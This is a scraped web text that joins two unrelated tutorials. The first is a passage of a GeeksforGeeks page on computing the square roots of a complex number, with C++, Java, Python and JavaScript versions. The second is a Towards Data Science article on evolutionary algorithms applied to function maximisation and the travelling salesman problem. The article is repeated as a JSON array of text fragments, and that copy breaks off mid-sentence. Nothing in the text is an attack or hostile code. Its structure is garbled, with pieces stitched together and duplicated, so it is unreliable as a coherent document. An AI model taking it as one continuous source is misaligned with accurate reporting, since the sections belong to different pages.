X1) # Push the square root in the ans ans.append([X1, Y1]) # Stores the second square root X2 = -1 * X1 Y2 = B / (2 * X2) # If X2 is not 0 if (X2 != 0): # Push the square root in # the array ans[] ans.append([X2, Y2]) # Stores the third square root X3 = (A - sqrt(A * A + B * B)) / 2 # If X3 is greater than 0 if (X3 > 0): X3 = abs(sqrt(X3)) Y3 = B / (2 * X3) # Push the square root in # the array ans[] ans.append([X3, Y3]) # Stores the fourth square root X4 = -1 * X3 Y4 = B / (2 * X4) if (X4 != 0): # Push the square root # in the array ans[] ans.append([X4, Y4]) # Prints the square roots print("The Square roots are: ") for p in ans: print(round(p[0], 6), end = "") if (p[1] > 0): print("+", end = "") if (p[1]): print(str(round(p[1], 6)) + "*i") else: print() # Driver Codeif __name__ == '__main__': A,B = 0, 1 complexRoot(A, B) # This code is contributed by mohit kumar 29 <script> // Javascript program for the above approach // Function to find the square root of// a complex numberfunction complexRoot(A, B){ // Stores all the square roots var ans = []; // Stores the first square root var X1 = Math.abs(Math.sqrt((A + Math.sqrt(A * A + B * B)) / 2)); var Y1 = B / (2 * X1); // Push the square root in the ans ans.push([X1, Y1]); // Stores the second square root var X2 = -1 * X1; var Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.push([X2, Y2]); } // Stores the third square root var X3 = (A - Math.sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = Math.abs(Math.sqrt(X3)); var Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.push([X3, Y3]); // Stores the fourth square root var X4 = -1 * X3; var Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.push([X4, Y4]); } } // Prints the square roots document.write( "The Square roots are: <br>"); ans.forEach(p => { document.write( p[0].toFixed(6)); if (p[1] > 0) document.write( "+"); if (p[1]) document.write( p[1].toFixed(6) + "*i<br>" ); else document.write("<br>"); });} // Driver Codevar A = 0, B = 1;complexRoot(A, B); </script> The Square roots are: 0.707107+0.707107*i -0.707107-0.707107*i Time Complexity: O(1)Auxiliary Space: O(1) mohit kumar 29 shikhasingrajput noob2000 Numbers Mathematical Mathematical Numbers Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Program to print prime numbers from 1 to N. Modular multiplicative inverse Fizz Buzz Implementation Generate all permutation of a set in Python How to check if a given point lies inside or outside a polygon? Check if a number is Palindrome Segment Tree | Set 1 (Sum of given range) Merge two sorted arrays with O(1) extra space Program to multiply two matrices Singular Value Decomposition (SVD)
[ { "code": null, "e": 26047, "s": 26019, "text": "\n14 Jun, 2021" }, { "code": null, "e": 26212, "s": 26047, "text": "Given two positive integers A and B representing the complex number Z in the form of Z = A + i * B, the task is to find the square root of the given complex number." }, { "code": null, "e": 26222, "s": 26212, "text": "Examples:" }, { "code": null, "e": 26313, "s": 26222, "text": "Input: A = 0, B =1Output:The Square roots are: 0.707107 + 0.707107*i-0.707107 – 0.707107*i" }, { "code": null, "e": 26365, "s": 26313, "text": "Input: A = 4, B = 0Output:The Square roots are: 2-2" }, { "code": null, "e": 26444, "s": 26365, "text": "Approach: The given problem can be solved based on the following observations:" }, { "code": null, "e": 26523, "s": 26444, "text": "It is known that the square root of a complex number is also a complex number." }, { "code": null, "e": 26711, "s": 26523, "text": "Then considering the square root of the complex number equal to X + i*Y, the value of (A + i*B) can be expressed as:A + i * B = (X + i * Y) * (X + i * Y)A + i * B = X2 – Y2+ 2 * i * X * Y" }, { "code": null, "e": 26749, "s": 26711, "text": "A + i * B = (X + i * Y) * (X + i * Y)" }, { "code": null, "e": 26784, "s": 26749, "text": "A + i * B = X2 – Y2+ 2 * i * X * Y" }, { "code": null, "e": 26843, "s": 26784, "text": "Equating the value of real and complex parts individually:" }, { "code": null, "e": 27021, "s": 26843, "text": "From the above observations, calculate the value of X and Y using the above formula and print the value (X + i*Y) as the resultant square root value of the given complex number." }, { "code": null, "e": 27072, "s": 27021, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 27076, "s": 27072, "text": "C++" }, { "code": null, "e": 27081, "s": 27076, "text": "Java" }, { "code": null, "e": 27089, "s": 27081, "text": "Python3" }, { "code": null, "e": 27100, "s": 27089, "text": "Javascript" }, { "code": "// C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function to find the square root of// a complex numbervoid complexRoot(int A, int B){ // Stores all the square roots vector<pair<double, double> > ans; // Stores the first square root double X1 = abs(sqrt((A + sqrt(A * A + B * B)) / 2)); double Y1 = B / (2 * X1); // Push the square root in the ans ans.push_back({ X1, Y1 }); // Stores the second square root double X2 = -1 * X1; double Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.push_back({ X2, Y2 }); } // Stores the third square root double X3 = (A - sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = abs(sqrt(X3)); double Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.push_back({ X3, Y3 }); // Stores the fourth square root double X4 = -1 * X3; double Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.push_back({ X4, Y4 }); } } // Prints the square roots cout << \"The Square roots are: \" << endl; for (auto p : ans) { cout << p.first; if (p.second > 0) cout << \"+\"; if (p.second) cout << p.second << \"*i\" << endl; else cout << endl; }} // Driver Codeint main(){ int A = 0, B = 1; complexRoot(A, B); return 0;}", "e": 28745, "s": 27100, "text": null }, { "code": "// Java program for the above approachimport java.util.*; class GFG{ static class pair{ double first, second; public pair(double first, double second) { this.first = first; this.second = second; } } // Function to find the square root of// a complex numberstatic void complexRoot(int A, int B){ // Stores all the square roots Vector<pair> ans = new Vector<pair>(); // Stores the first square root double X1 = Math.abs(Math.sqrt((A + Math.sqrt(A * A + B * B)) / 2)); double Y1 = B / (2 * X1); // Push the square root in the ans ans.add(new pair( X1, Y1 )); // Stores the second square root double X2 = -1 * X1; double Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.add(new pair(X2, Y2)); } // Stores the third square root double X3 = (A - Math.sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = Math.abs(Math.sqrt(X3)); double Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.add(new pair(X3, Y3)); // Stores the fourth square root double X4 = -1 * X3; double Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.add(new pair(X4, Y4)); } } // Prints the square roots System.out.print(\"The Square roots are: \" + \"\\n\"); for(pair p : ans) { System.out.printf(\"%.4f\", p.first); if (p.second > 0) System.out.print(\"+\"); if (p.second != 0) System.out.printf(\"%.4f*i\\n\", p.second); else System.out.println(); }} // Driver Codepublic static void main(String[] args){ int A = 0, B = 1; complexRoot(A, B);}} // This code is contributed by shikhasingrajput", "e": 30716, "s": 28745, "text": null }, { "code": "# Python3 program for the above approachfrom math import sqrt # Function to find the square root of# a complex numberdef complexRoot(A, B): # Stores all the square roots ans = [] # Stores the first square root X1 = abs(sqrt((A + sqrt(A * A + B * B)) / 2)) Y1 = B / (2 * X1) # Push the square root in the ans ans.append([X1, Y1]) # Stores the second square root X2 = -1 * X1 Y2 = B / (2 * X2) # If X2 is not 0 if (X2 != 0): # Push the square root in # the array ans[] ans.append([X2, Y2]) # Stores the third square root X3 = (A - sqrt(A * A + B * B)) / 2 # If X3 is greater than 0 if (X3 > 0): X3 = abs(sqrt(X3)) Y3 = B / (2 * X3) # Push the square root in # the array ans[] ans.append([X3, Y3]) # Stores the fourth square root X4 = -1 * X3 Y4 = B / (2 * X4) if (X4 != 0): # Push the square root # in the array ans[] ans.append([X4, Y4]) # Prints the square roots print(\"The Square roots are: \") for p in ans: print(round(p[0], 6), end = \"\") if (p[1] > 0): print(\"+\", end = \"\") if (p[1]): print(str(round(p[1], 6)) + \"*i\") else: print() # Driver Codeif __name__ == '__main__': A,B = 0, 1 complexRoot(A, B) # This code is contributed by mohit kumar 29", "e": 32130, "s": 30716, "text": null }, { "code": "<script> // Javascript program for the above approach // Function to find the square root of// a complex numberfunction complexRoot(A, B){ // Stores all the square roots var ans = []; // Stores the first square root var X1 = Math.abs(Math.sqrt((A + Math.sqrt(A * A + B * B)) / 2)); var Y1 = B / (2 * X1); // Push the square root in the ans ans.push([X1, Y1]); // Stores the second square root var X2 = -1 * X1; var Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.push([X2, Y2]); } // Stores the third square root var X3 = (A - Math.sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = Math.abs(Math.sqrt(X3)); var Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.push([X3, Y3]); // Stores the fourth square root var X4 = -1 * X3; var Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.push([X4, Y4]); } } // Prints the square roots document.write( \"The Square roots are: <br>\"); ans.forEach(p => { document.write( p[0].toFixed(6)); if (p[1] > 0) document.write( \"+\"); if (p[1]) document.write( p[1].toFixed(6) + \"*i<br>\" ); else document.write(\"<br>\"); });} // Driver Codevar A = 0, B = 1;complexRoot(A, B); </script>", "e": 33712, "s": 32130, "text": null }, { "code": null, "e": 33776, "s": 33712, "text": "The Square roots are: \n0.707107+0.707107*i\n-0.707107-0.707107*i" }, { "code": null, "e": 33821, "s": 33778, "text": "Time Complexity: O(1)Auxiliary Space: O(1)" }, { "code": null, "e": 33836, "s": 33821, "text": "mohit kumar 29" }, { "code": null, "e": 33853, "s": 33836, "text": "shikhasingrajput" }, { "code": null, "e": 33862, "s": 33853, "text": "noob2000" }, { "code": null, "e": 33870, "s": 33862, "text": "Numbers" }, { "code": null, "e": 33883, "s": 33870, "text": "Mathematical" }, { "code": null, "e": 33896, "s": 33883, "text": "Mathematical" }, { "code": null, "e": 33904, "s": 33896, "text": "Numbers" }, { "code": null, "e": 34002, "s": 33904, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34046, "s": 34002, "text": "Program to print prime numbers from 1 to N." }, { "code": null, "e": 34077, "s": 34046, "text": "Modular multiplicative inverse" }, { "code": null, "e": 34102, "s": 34077, "text": "Fizz Buzz Implementation" }, { "code": null, "e": 34146, "s": 34102, "text": "Generate all permutation of a set in Python" }, { "code": null, "e": 34210, "s": 34146, "text": "How to check if a given point lies inside or outside a polygon?" }, { "code": null, "e": 34242, "s": 34210, "text": "Check if a number is Palindrome" }, { "code": null, "e": 34284, "s": 34242, "text": "Segment Tree | Set 1 (Sum of given range)" }, { "code": null, "e": 34330, "s": 34284, "text": "Merge two sorted arrays with O(1) extra space" }, { "code": null, "e": 34363, "s": 34330, "text": "Program to multiply two matrices" } ]
An extensible Evolutionary Algorithm Example in Python | by Dr. Robert Kübler | Towards Data Science
Evolutionary Algorithms are special methods to solve computational problems, such as optimization problems. They often yield very good results in a reasonable amount of time without us having to put a lot of thought into the problem-specific properties. Usually, we only have to adjust some parameters and then let a quite general framework run and bring us a solution. You will see how to implement such a general framework in Python in this article. This is especially interesting when dealing with extremely difficult problems, such as NP-complete ones. These are relevant real-life problems that many companies have to solve every day for which we do not know any efficient algorithm. One of these problems is the optimization version of the Travelling Salesman Problem (TSP), which is phrased like this: A salesman wants to sell his goods in n cities. He starts in city 1, visits each of the other n-1 cities exactly once in some order and returns to city 1 again. What is the best order to visit the cities in order to minimize the travelling distance? We will pick up this problem later again as a non-trivial example of applying our Evolutionary Algorithm. But before we go there, let us see what Evolutionary Algorithms are and how to apply them to an easy example. If you just want to see the code, visit my GitHub page! ;) A fun application of Evolutionary Algorithms is MarI/O built by Seth Bling, based on the “NEAT” paper [3]. A complex Neural network architecture is built from scratch using an Evolutionary Algorithm to play the classic Super Mario World. Nostalgia kicks in. We will now see how to develop an Evolutionary Algorithm to solve a simple function maximization problem, i.e. we want to find an input x that maximizes the output of a given function f. For f(x, y)=-(x2+y2) the unique solution would be (x, y)=(0, 0), for example. This algorithm can be easily adapted to solve the TSP and other problems as well. But first, let us see what an Evolutionary Algorithm actually is. Evolutionary Algorithms are designed to resemble the evolution found in nature. Among other things, these three concepts are the core of evolution: There is a population of individuals.Individuals can reproduce and die. Any of these things happening is determined by its fitness. The higher the fitness, the longer the individual’s properties (DNA) stay in the population, either by the individual itself or its offsprings.Individuals can mutate, i.e. alter their properties a bit. There is a population of individuals. Individuals can reproduce and die. Any of these things happening is determined by its fitness. The higher the fitness, the longer the individual’s properties (DNA) stay in the population, either by the individual itself or its offsprings. Individuals can mutate, i.e. alter their properties a bit. We can use these concepts to create a meta-algorithm, i.e. an algorithm that internally uses other algorithms we have yet to specify, to solve our problem. Don’t worry, we will fill it with life immediately. Generate an initial population of individuals randomly.Evaluate the fitness of each individual in the population.Repeat as often as you like:a) Select individuals with a good fitness score for reproduction.b) Let them produce offsprings.c) Mutate these offsprings.d) Evaluate the fitness of each individual in the population.f) Let the individuals with a bad fitness score die.Pick the individual with the highest fitness as the solution. Generate an initial population of individuals randomly. Evaluate the fitness of each individual in the population. Repeat as often as you like:a) Select individuals with a good fitness score for reproduction.b) Let them produce offsprings.c) Mutate these offsprings.d) Evaluate the fitness of each individual in the population.f) Let the individuals with a bad fitness score die. Pick the individual with the highest fitness as the solution. Wait, this is quite general, isn’t it? There are a lot of things that have to be specified. What are the individuals?How many individuals are in the first population and how are they generated?Which fitness score?How many parents produce how many offsprings? And how exactly?How to mutate?How many individuals die?Repeat how often? Let us now use the problem of maximizing a function to show how we can concretely implement meta-algorithm. Let us use the function f(x)=-x(x-1)(x-2)(x-3)(x-4) on the interval [0, 4] as an example. We wish to find some value to maximize this function. A potential problem might be the local maximum at around 1.4, which we do not want to find! Let us see if we can reproduce this using an Evolutional Algorithm. So, let us start answering all the open questions. The individuals are always potential solutions to the problem. In our example, numbers between 0 and 4, since we only consider this function on this interval. This one was easy, right? It will not get much harder than this, I promise. The number of individuals is a hyperparameter you have to make up. If you have no clue about what the solution could be, choose the initial population as random as possible. In our case, how about we use 10 random individuals, with random meaning uniformly drawn numbers between 0 and 4? I expect using uniformly random elements to be a good choice since we can cover the entire solution space quite well. If we use, for example, a normal distribution with a mean of 1.4, maybe we would push our solution to be the wrong local maximum around 1.4 as well. We have to make this one up, too. Our solution should have the highest fitness score. We want to maximize our function f, so we can just use our function f itself. We have to make this one up, too. All of it. In our example, we could always use two individuals to produce one offspring. We could also let them produce more, but let us start easily here. So, if we have two individuals (also called parents), their offspring could just be the mean of them. The offspring of a 1.1 and a 3.5 could be a 2.3, for example. In total, let us produce three offsprings, using six distinct parents in total (i.e. each parent only has exactly one partner). Again, these are all things that I arbitrarily decided. You can use other strategies to conduct this step, too! Use one or three parents per offspring, make parents get five offsprings, play round. The six individuals with the highest fitness are the numbers 1.792, 1.184, 3.169, 1.641, 1.431 and 3.785 (in increasing order of fitness). Now, let’s say that 2 neighbors in this list get an offspring: 1.792 with 1.184: 1.488 3.169 with 1.641: 2.405 1.431 with 3.785: 2.608 Alter the offsprings a little bit probabilistically. This is a good way to explore more possible solutions in different places and don’t go the wrong way deterministically. In our case, we can just add Gaussian noise to each offspring. Maybe a mean of zero and a standard deviation of 0.25 is fine. Also, remember: The individuals have to be potential solutions! So, the mutation must not push the children out of the feasible interval [0, 4]. If this happens, set the children to the closest edge of the interval. As many as you like. Maybe it’s good to keep the population the same size over the steps, since otherwise the population size might explode or everyone dies at some point. Since we have 13 individuals in the population now, let three of them die and we end up with 10 again. Let us pick the ones with the worst fitness, which are the old individuals 0.596 and 2.495 as well as the newly created individual 2.121. 😔 As often as you like. Just check sometimes, until you see that the solutions don’t get better anymore. Maybe let us fix 50 epochs and see what happens. After our artificial evolution worked all the way through, we can check all the individuals and pick the one with the highest score as the solution to our problem. The evolution up to epoch no. 50 looks like this: We can see that the algorithm worked! But it looks like it was a close call. Up to epoch 25, the population was gathering around the other local maximum at around x=1.4. Luckily, we had an individual far away at 4, which managed to pull the population to the right side, starting from epoch 25. We can also see this shift around epoch 25 when looking at the fitness score of the best individuals of the population in each epoch. Okay, so we have seen how the algorithm worked and that we even got the correct answer (or at least a very good approximation) in the end! There was a bit of luck involved, but this will always be the same. We could have been even unluckier and our initial population could have started around the local maximum at x=1.4. Then it would have been very unlikely that individuals would have broken out of this region, as in this example: It can still be the case that a mutation pushes an individual to the right side, which in turn pulls more individuals with it. But this is highly unlikely since a mutation pushes an individual by at most 0.75 in any direction with probability >99%, since the standard deviation was 0.25. So, is it good to use a more extreme mutation? Well, if we exaggerate, the individuals just jump all over the place or gather in the corners x=0 and x=4. So we have to be a bit careful about choosing the parameters here. From a theoretical standpoint, you can see an Evolutionary Algorithm as a heavily randomized algorithm. The initial population is random, individuals generate offsprings via more or less complicated operations, the offsprings mutate using randomness and all of this is repeated hundreds, thousands, millions of times. Therefore, it is very hard to analyze these algorithms and give any theoretical bounds on their success probability or the quality of their results. For very easy algorithms this is possible, such as the (1 + 1) evolutionary algorithm [1] for maximizing extremely simple functions or an algorithm for solving the Simplified Multiobjective Knapsack Problem [2], but examples like this are rarely seen. However, if a run did not work, just try it again with the same or other parameters. Here, I will share my implementation with you. I tried to make it general and abstract, so you can easily use it for your purposes. If you have never used Abstract Base Classes before, don’t worry. The class Individual is only there to tell you which interface you have to use for the objects that represent your individuals. Your individuals need a value (the payload, the potential solution), you have to implement a random initialization, a mutation, and pair function. Then the Pool and Evolution classes take care of the rest. I also implemented the function maximization example, to show you how this can look like. I used a few more parameters there, but if you replace all lower bounds with 0, upper bounds with 4, rate with 0.25, dim with 1 and alpha=0.5, you end up exactly with our example again. You can use these classes like this: And off you go! So far we have gained some confidence with a small toy problem, but now it is time to get back to the difficult TSP again. The TSP is all about finding the shortest round trip through n cities. Use these, as an example: The solution to the TSP looks like this: There exist numerous algorithms to solve this one. They range from exhaustive search (trying out all ways) to more complicated algorithms. However, all of these methods are slow and if P≠NP, we can not expect any fast algorithm to emerge, ever. The exhaustive search will let you solve problems up to maybe 15 cities if you can wait for a few days. Other methods like the Held-Karp algorithm let you solve instances up to 30–50 cities, optimistically. If you drop the need for the solution to be the best, Christofides Algorithm from 1976 will give you a solution in a short amount of time that is provably at most 50% longer than the shortest round trip. Think about why this is an awesome result: We don’t even know the shortest round trip length, but still we can say that the round trip return by this algorithm is less than 50% longer than this unknown solution! But now, let us get you what you have waited for: an Evolutionary Algorithm for solving TSP! This time, we start off with 20 cities. The amount is still low enough to solve it with the Held-Karp algorithm, so we can even check if we got the best solution in the end! Here is the map: Now, we have to answer all the questions again. Let us first answer the easier “number questions” (hyperparameters that we can easily adjust if things don’t workout): How many epochs? 1000 How many starting individuals? 100 How many parents? 60 (two produce one offspring, like before) How many offsprings? 30 How many dying individuals? 30 The exciting questions are dealing with the implementation of a class TSP that we have to define now. What are the individuals? How does the random initialization work? The paring? The mutation? What is the fitness score? Let’s start with a basic one: What are the individuals here? Protip: It’s not the cities. Again: The individuals are always potential solutions to the problem. In the case of TSP, we search for a short round trip. With “short”, we mean the sum of the Euclidean distances between every two cities in the round trip. We can represent such a round trip as a list of n numbers, e.g. (0, 3, 1) reads as “Start from city 0, then go to city 3, from there to city 1, then back to city 0.”. So, our individuals are lists of numbers, containing each number from 0 to n-1 exactly once, i.e. permutations on {0, 1, 2, ..., n-1}. Within the whole process, we have to maintain this property. There is no point in keeping individuals in the population that don’t represent a feasible solution to the problem since it clogs the population, and we might even pick it in the end, giving us an invalid solution. And how to initialize them? Well, just take a random permutation of the numbers from 0 to n-1. This should do the job. def _random_init(self, init_params): return np.random.choice( a=range(init_params['n_cities']), size=init_params['n_cities'], replace=False ) Let us continue with the mutation procedure. So, how can we alter a round trip in a simple way? Imagine we have a round trip through five cities, for example (3, 1, 4, 2, 0). An easy way is to just randomly swap out two elements. Our example could mutate to (0, 1, 4, 2, 3) or (3, 4, 1, 2, 0). We can also swap more than one time and make a hyperparameter rate out of it comparable to the standard deviation in the function maximization example before. def mutate(self, mutate_params): for _ in range(mutate_params['rate']): i, j = np.random.choice( a=range(len(self.value)), size=2, replace=False) self.value[i], self.value[j] = self.value[j], self.value[i] It is clear that this kind of mutation preserves the property, that individuals are permutations, i.e. feasible solutions. The most interesting thing here is probably the pair function. Let us assume that we have the following individuals which we want to use as parents: The way you can do this is the following: You copy the right half of the second individual into the right half of the first individual. We want to use the altered first individual as the offspring now, but this does not work as-is since there are duplicate numbers now. Hence, the left half of the altered first individual has to be repaired first. We can do it like this: The 4 that was inserted into the right half kicked out the 5 that was there before. So, let us replace the 4 in the left half by this 5 since it is missing now. Doing the same with 2 that kicked out a 3 gives the following: But there is the next problem: We have number 3 two times now. But we can repeat this procedure several more times until we get a feasible individual again. The 3 is the problem. It initially kicked out the 1. So replace the 3 from the left half with a 1, and voila: the offspring is (0, 5, 1, 4, 2, 3). In total, our class TSP looks like this: Here I also introduced another hyperparameter alpha, which decides where to split the individuals. For my example, I used alpha=0.5. Since we want to minimize the round trip length, we can just use minus the length of the round trip as the fitness score. Let us solve the TSP with 20 cities! I used the following code: I defined a fitness function, a function to compute the round trip length and a function to compute the distance matrix (pairwise distances between two cities). For me, the fitness function behaved like this: And here are the best individuals per epoch: And the solution that we have from around epoch 400 is even the best solution we can get for these 20 cities! I checked this using the Held-Karp algorithm implementation by Carl Ekerot. For the last act, let us try something really difficult. Not only 10 or 20 cities but 100, which is way too much for any exact algorithm to handle. I can not tell you if this is the fastest round trip, but for me, it definitely seems like a good one! In this article, we have seen how Evolutionary Algorithms work using two examples: maximizing a function and solving the Travelling Salesman problem. Evolutionary Algorithms are usually used to solve difficult problems we do not know exact answers to. The algorithms can be very fast and yield accurate results. The implementation is easy and you don’t have to be an expert in the field your problem is from, e.g. you don’t have to read papers of the past 20 years of TSP research to write a decently performing algorithm. Sadly, it is very hard to obtain any theoretical results, because Evolutionary Algorithms often work with a lot of randomness interacting in complicated ways. Thus, we can not know if the solution given is good or bad, we can only check if it is good enough for our use case. In the 100 cities example, if our goal was to travel to each city in length 150,000 or less, the algorithm has given us a perfect answer. [1] S. Droste, T. Jansen, and I. Wegener, On the analysis of the (1+1) evolutionary algorithm (2002), Theoretical Computer Science, Volume 276, Issues 1–2, 6 April 2002, Pages 51–81 [2] M. Laumanns, L. Thiele, and E. Zitzler, Running Time Analysis of Evolutionary Algorithms on a Simplified Multiobjective Knapsack Problem (2004), Natural Computing 3, 37–51 [3] K. Stanley, R. Miikkulainen, Evolving Neural Networks through Augmenting Topologies (2002), Evolutionary Computation 10(2) 2002, S. 99–127 I hope that you learned something new, interesting, and useful today. Thanks for reading! As the last point, if you want to support me in writing more about machine learning andplan to get a Medium subscription anyway, want to support me in writing more about machine learning and plan to get a Medium subscription anyway, why not do it via this link? This would help me a lot! 😊 To be transparent, the price for you does not change, but about half of the subscription fees go directly to me. Thanks a lot, if you consider supporting me! If you have any questions, write me on LinkedIn!
[ { "code": null, "e": 624, "s": 172, "text": "Evolutionary Algorithms are special methods to solve computational problems, such as optimization problems. They often yield very good results in a reasonable amount of time without us having to put a lot of thought into the problem-specific properties. Usually, we only have to adjust some parameters and then let a quite general framework run and bring us a solution. You will see how to implement such a general framework in Python in this article." }, { "code": null, "e": 981, "s": 624, "text": "This is especially interesting when dealing with extremely difficult problems, such as NP-complete ones. These are relevant real-life problems that many companies have to solve every day for which we do not know any efficient algorithm. One of these problems is the optimization version of the Travelling Salesman Problem (TSP), which is phrased like this:" }, { "code": null, "e": 1231, "s": 981, "text": "A salesman wants to sell his goods in n cities. He starts in city 1, visits each of the other n-1 cities exactly once in some order and returns to city 1 again. What is the best order to visit the cities in order to minimize the travelling distance?" }, { "code": null, "e": 1447, "s": 1231, "text": "We will pick up this problem later again as a non-trivial example of applying our Evolutionary Algorithm. But before we go there, let us see what Evolutionary Algorithms are and how to apply them to an easy example." }, { "code": null, "e": 1506, "s": 1447, "text": "If you just want to see the code, visit my GitHub page! ;)" }, { "code": null, "e": 1764, "s": 1506, "text": "A fun application of Evolutionary Algorithms is MarI/O built by Seth Bling, based on the “NEAT” paper [3]. A complex Neural network architecture is built from scratch using an Evolutionary Algorithm to play the classic Super Mario World. Nostalgia kicks in." }, { "code": null, "e": 2029, "s": 1764, "text": "We will now see how to develop an Evolutionary Algorithm to solve a simple function maximization problem, i.e. we want to find an input x that maximizes the output of a given function f. For f(x, y)=-(x2+y2) the unique solution would be (x, y)=(0, 0), for example." }, { "code": null, "e": 2177, "s": 2029, "text": "This algorithm can be easily adapted to solve the TSP and other problems as well. But first, let us see what an Evolutionary Algorithm actually is." }, { "code": null, "e": 2325, "s": 2177, "text": "Evolutionary Algorithms are designed to resemble the evolution found in nature. Among other things, these three concepts are the core of evolution:" }, { "code": null, "e": 2659, "s": 2325, "text": "There is a population of individuals.Individuals can reproduce and die. Any of these things happening is determined by its fitness. The higher the fitness, the longer the individual’s properties (DNA) stay in the population, either by the individual itself or its offsprings.Individuals can mutate, i.e. alter their properties a bit." }, { "code": null, "e": 2697, "s": 2659, "text": "There is a population of individuals." }, { "code": null, "e": 2936, "s": 2697, "text": "Individuals can reproduce and die. Any of these things happening is determined by its fitness. The higher the fitness, the longer the individual’s properties (DNA) stay in the population, either by the individual itself or its offsprings." }, { "code": null, "e": 2995, "s": 2936, "text": "Individuals can mutate, i.e. alter their properties a bit." }, { "code": null, "e": 3203, "s": 2995, "text": "We can use these concepts to create a meta-algorithm, i.e. an algorithm that internally uses other algorithms we have yet to specify, to solve our problem. Don’t worry, we will fill it with life immediately." }, { "code": null, "e": 3642, "s": 3203, "text": "Generate an initial population of individuals randomly.Evaluate the fitness of each individual in the population.Repeat as often as you like:a) Select individuals with a good fitness score for reproduction.b) Let them produce offsprings.c) Mutate these offsprings.d) Evaluate the fitness of each individual in the population.f) Let the individuals with a bad fitness score die.Pick the individual with the highest fitness as the solution." }, { "code": null, "e": 3698, "s": 3642, "text": "Generate an initial population of individuals randomly." }, { "code": null, "e": 3757, "s": 3698, "text": "Evaluate the fitness of each individual in the population." }, { "code": null, "e": 4022, "s": 3757, "text": "Repeat as often as you like:a) Select individuals with a good fitness score for reproduction.b) Let them produce offsprings.c) Mutate these offsprings.d) Evaluate the fitness of each individual in the population.f) Let the individuals with a bad fitness score die." }, { "code": null, "e": 4084, "s": 4022, "text": "Pick the individual with the highest fitness as the solution." }, { "code": null, "e": 4176, "s": 4084, "text": "Wait, this is quite general, isn’t it? There are a lot of things that have to be specified." }, { "code": null, "e": 4416, "s": 4176, "text": "What are the individuals?How many individuals are in the first population and how are they generated?Which fitness score?How many parents produce how many offsprings? And how exactly?How to mutate?How many individuals die?Repeat how often?" }, { "code": null, "e": 4524, "s": 4416, "text": "Let us now use the problem of maximizing a function to show how we can concretely implement meta-algorithm." }, { "code": null, "e": 4760, "s": 4524, "text": "Let us use the function f(x)=-x(x-1)(x-2)(x-3)(x-4) on the interval [0, 4] as an example. We wish to find some value to maximize this function. A potential problem might be the local maximum at around 1.4, which we do not want to find!" }, { "code": null, "e": 4879, "s": 4760, "text": "Let us see if we can reproduce this using an Evolutional Algorithm. So, let us start answering all the open questions." }, { "code": null, "e": 4942, "s": 4879, "text": "The individuals are always potential solutions to the problem." }, { "code": null, "e": 5114, "s": 4942, "text": "In our example, numbers between 0 and 4, since we only consider this function on this interval. This one was easy, right? It will not get much harder than this, I promise." }, { "code": null, "e": 5288, "s": 5114, "text": "The number of individuals is a hyperparameter you have to make up. If you have no clue about what the solution could be, choose the initial population as random as possible." }, { "code": null, "e": 5402, "s": 5288, "text": "In our case, how about we use 10 random individuals, with random meaning uniformly drawn numbers between 0 and 4?" }, { "code": null, "e": 5669, "s": 5402, "text": "I expect using uniformly random elements to be a good choice since we can cover the entire solution space quite well. If we use, for example, a normal distribution with a mean of 1.4, maybe we would push our solution to be the wrong local maximum around 1.4 as well." }, { "code": null, "e": 5755, "s": 5669, "text": "We have to make this one up, too. Our solution should have the highest fitness score." }, { "code": null, "e": 5833, "s": 5755, "text": "We want to maximize our function f, so we can just use our function f itself." }, { "code": null, "e": 5878, "s": 5833, "text": "We have to make this one up, too. All of it." }, { "code": null, "e": 6315, "s": 5878, "text": "In our example, we could always use two individuals to produce one offspring. We could also let them produce more, but let us start easily here. So, if we have two individuals (also called parents), their offspring could just be the mean of them. The offspring of a 1.1 and a 3.5 could be a 2.3, for example. In total, let us produce three offsprings, using six distinct parents in total (i.e. each parent only has exactly one partner)." }, { "code": null, "e": 6513, "s": 6315, "text": "Again, these are all things that I arbitrarily decided. You can use other strategies to conduct this step, too! Use one or three parents per offspring, make parents get five offsprings, play round." }, { "code": null, "e": 6715, "s": 6513, "text": "The six individuals with the highest fitness are the numbers 1.792, 1.184, 3.169, 1.641, 1.431 and 3.785 (in increasing order of fitness). Now, let’s say that 2 neighbors in this list get an offspring:" }, { "code": null, "e": 6739, "s": 6715, "text": "1.792 with 1.184: 1.488" }, { "code": null, "e": 6763, "s": 6739, "text": "3.169 with 1.641: 2.405" }, { "code": null, "e": 6787, "s": 6763, "text": "1.431 with 3.785: 2.608" }, { "code": null, "e": 6960, "s": 6787, "text": "Alter the offsprings a little bit probabilistically. This is a good way to explore more possible solutions in different places and don’t go the wrong way deterministically." }, { "code": null, "e": 7102, "s": 6960, "text": "In our case, we can just add Gaussian noise to each offspring. Maybe a mean of zero and a standard deviation of 0.25 is fine. Also, remember:" }, { "code": null, "e": 7302, "s": 7102, "text": "The individuals have to be potential solutions! So, the mutation must not push the children out of the feasible interval [0, 4]. If this happens, set the children to the closest edge of the interval." }, { "code": null, "e": 7474, "s": 7302, "text": "As many as you like. Maybe it’s good to keep the population the same size over the steps, since otherwise the population size might explode or everyone dies at some point." }, { "code": null, "e": 7717, "s": 7474, "text": "Since we have 13 individuals in the population now, let three of them die and we end up 